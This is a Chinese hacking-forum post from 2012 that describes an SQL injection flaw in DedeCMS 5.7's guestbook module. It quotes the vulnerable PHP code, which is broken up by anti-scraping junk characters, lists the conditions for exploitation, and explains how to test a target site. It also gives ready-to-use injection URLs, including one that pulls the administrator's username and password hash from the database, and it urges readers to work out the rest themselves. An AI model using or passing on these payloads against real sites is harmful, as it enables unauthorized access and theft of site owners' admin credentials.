找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3753|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
6 V7 u7 \6 }* |. G3 d1 C5 @/ d& S1 w7 m8 ^* [# ^
漏洞文件edit.inc.php具体代码:
# f0 d& u2 m  c/ S
( e: S. N: K( D( v0 d< ?php    I8 F# v3 i9 G! V0 e: V
. x! G' g4 D- i1 P+ k  i' m  ?3 Z
if(!defined('DEDEINC')) exit('Request Error!');  
# i, r/ V% ]( J
# m6 Q$ B0 G- V9 V( e6 M   
8 b3 x, A: D7 e9 O$ {  W8 b5 F# {, n9 n# p1 n  b/ c) }, |! I
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  ; ^0 r) {9 v( v/ }4 ~( |! j: D
$ x3 \9 V5 P& ]
else $GUEST_BOOK_POS = "guestbook.php";  / _9 h9 J$ \% j# \& v) M% S, M- W7 G
' ?3 f% ]: t6 Q6 P: c* e1 g
   
) p. j* j6 w  R+ F- p
) w! _9 O" {$ U: v, Y" [9 Z2 X" B$id = intval($id);  9 f5 a' P0 x  ?- J3 F

! \4 j: l3 e% p% T" v) I. A* Uif(empty($job)) $job='view';  0 e1 Z/ v# f5 O
; d; ~: c% |  z7 L+ S2 b$ a
   
# [0 h% k- C$ n- j. o3 k; ]) W; r$ N0 w8 ]
if($job=='del' && $g_isadmin)  
' _9 B0 `5 C1 d4 _% A; `/ _# \+ @% ]
{  , X( L" {9 T# ?! _/ T1 v
5 @! O5 B8 j8 [" E, q
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
. F1 P) o' X0 L) ]+ s" Y: b% z" N; w6 V7 t8 C9 k
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  9 I2 Z7 W8 Y/ [; }

- J/ Z+ R2 M' [8 v  w, r2 H1 L; Oexit();  
% o4 V  O5 S* d5 Z& Y2 x4 v! ]4 v, _
}  % F" a- Z1 ]; N0 q' _  C

3 U, J( K+ D7 U; H* x1 uelse if($job=='check' && $g_isadmin)  ; M) r' P/ K8 x

5 D, c4 h% P/ {! m0 I{  
9 t2 U+ e" K5 G. E1 `, J! c& ?1 Q
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
9 n- s, o( w/ D4 \' J, b) Q7 E6 X1 N) ]
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  5 a( x) A$ f6 [$ s( {$ K' V/ \+ ~
9 m& R7 S1 n4 G. {$ x
exit();  
# E, J  o5 U8 F$ Q7 y+ r# }; ~$ ^8 C3 i5 d6 z% G
}  
/ n! F5 T$ c' i) m1 s+ O$ F4 G& d8 i$ e8 v
else if($job=='editok')  
& V8 g! i: L8 b% r
+ A8 l* G/ i; X3 v{  
3 X) S4 m( p' o& d
2 u' t6 ]0 ^8 ]" J/ ^" t4 U+ ?$remsg = trim($remsg);  8 t, M1 C: P2 o2 l; F$ |
* j& I9 t: V7 @& _: A3 p4 J5 O
if($remsg!='')  + O( s$ A, O0 {1 U; O' N! d

/ r1 @) z) j' {' b; l{  
" F; W7 c8 ?7 `5 K; w% O7 W
# ^: P) t# p+ Z- V, j//管理员回复不过滤HTML By:Errorera blog:errs.cc  $ e+ R; B+ ]# v* _/ ~$ U* ]

1 i/ a( ]4 ]7 k" I3 [, [if($g_isadmin)    S! q: ]  {% q. k7 N/ W3 E
" Q" ?3 B' p( s/ t1 f
{  
1 q" `# E: e# k3 ]$ |
1 [1 ?% `- B" H1 q. k$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
0 n$ L; X2 p! C  ?$ q2 P. o
+ s3 @$ N2 P2 _- _+ E//$remsg <br /><font color=red>管理员回复:</font> }  * K) B) z' @6 v9 R+ H9 d
8 T" v% q1 C: j: {  H6 G$ l8 {4 j# y
else 7 b0 t. w5 y9 H: F' I5 [

7 }1 N. u' `* c, O( k{  7 C0 p- I# S, t/ E
* f7 q9 g3 S) w+ C. y/ i
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
/ a( D9 @4 m9 F* j( d4 G
0 P: K1 U8 U" A8 @4 x$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
# |) [7 K* _$ x7 J! R3 A7 u
# D$ @9 w$ U) U" ~/ D; u  Z( S. @$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  & s8 G6 V" [% J' u3 t) S, N! K4 }' E
1 P+ L; f0 ?- o5 J
$msg = $oldmsg.$remsg;  7 m& ?* M& G/ J. s  T$ A) j

8 _3 z( S, B, c. T2 U}  
2 p- f: p6 k. Z  r* l7 K1 R" F% o& m
" {* f! ^& g3 r. _}  9 A8 `* U0 @1 W5 r/ S

' T- T$ ^( r  d/ a, I//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
* w2 g! u0 {6 O2 A, f1 i$ D
, g% m; B) Y5 U: \" O% _! h- p+ o$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
9 M. Y6 B5 u* I, k3 W; c. p! u, a
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  2 l$ P+ X/ \: C
! ~+ y6 _" A. v8 |
exit();  . K* o. s( W2 A! `7 }

8 p+ {# N6 L7 f& D7 A( ^4 S}  
- w6 ~* O5 p; y+ D/ |8 Z2 u: A6 X5 F. }" h6 ?% ~4 o) i
//home:www.errs.cc  # _  \5 _8 c: y0 t) K; z2 h4 g

& k7 U  ~; q9 o7 {if($g_isadmin)  
$ i7 I: n, E; h4 u, r1 @6 \: Z- H
{  . D) D6 |5 d( h
0 L' o9 j0 v. C5 j& p2 Q4 a4 R
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  , {- J+ @1 \" x

( x# [1 m/ h  Z3 ~2 r9 krequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
+ Y) p& f" G: D) k4 K3 l) W  m0 p- ?. \" L3 T! d
}    Y9 p/ [7 O7 T8 }
' p' _! o# G8 }7 p
else 7 x" i9 d. u/ b1 B, c" L
2 T  B% |: j4 C! ?8 D
{  
, L7 ^! |" |, X. C7 i
* Y2 u8 ?. ~: z% _$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  3 _; T& q# \' F
+ t, U7 g+ [& A: V8 G- c+ S" G
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
7 t% |) c- z. C8 ?, {+ Y7 X  N& D8 K* B
} 漏洞成功需要条件:
8 \7 l4 t/ Z0 P; t6 Z% u" |$ H, _2 n& ]1. php magic_quotes_gpc=off1 s: k' B1 y- K) V0 t
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
$ \# J% `  i7 I+ i+ `6 a! q6 L& ]- J/ h, b: ^# g4 Q7 Y
怎么判断是否存在漏洞:
' r+ s( n. w5 x% f" m' c5 _先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
  [2 V5 e5 ~& J+ p6 o, U0 W3 W然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 D, e# K. Z, F" B3 Z# k访问:
6 o4 H' h! F! |- k7 V9 q8 q% }% a5 W/ R
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了  n& ]5 u  i* h. A6 s; J. t
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 r% Q( D4 P5 s- B
- f+ |- J% E! |6 f0 B8 |, b" \: x; E: s( s1 T" J; B" S" E
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off6 C' |- A; u  d- B' ^. g6 c
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
' N% ]: y8 M: n( ~7 z; X- m那么再次访问
: }0 @* |/ T8 V' i
" D1 X& I( y8 E" C4 r+ zwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 M% z3 \5 Z* J2 I/ A2 E  s! D5 Y* d6 H* r
大概利用就是这样,大家有兴趣的多研究下!!
/ s8 ~" Y- a! f& `, u2 K; y  ]
9 ?8 I' }# P" q% w! m7 ~; J& E9 w6 Z最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!- b2 m" }6 f: B4 ~0 [# m
* g, ?7 U0 q7 p* G. j
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表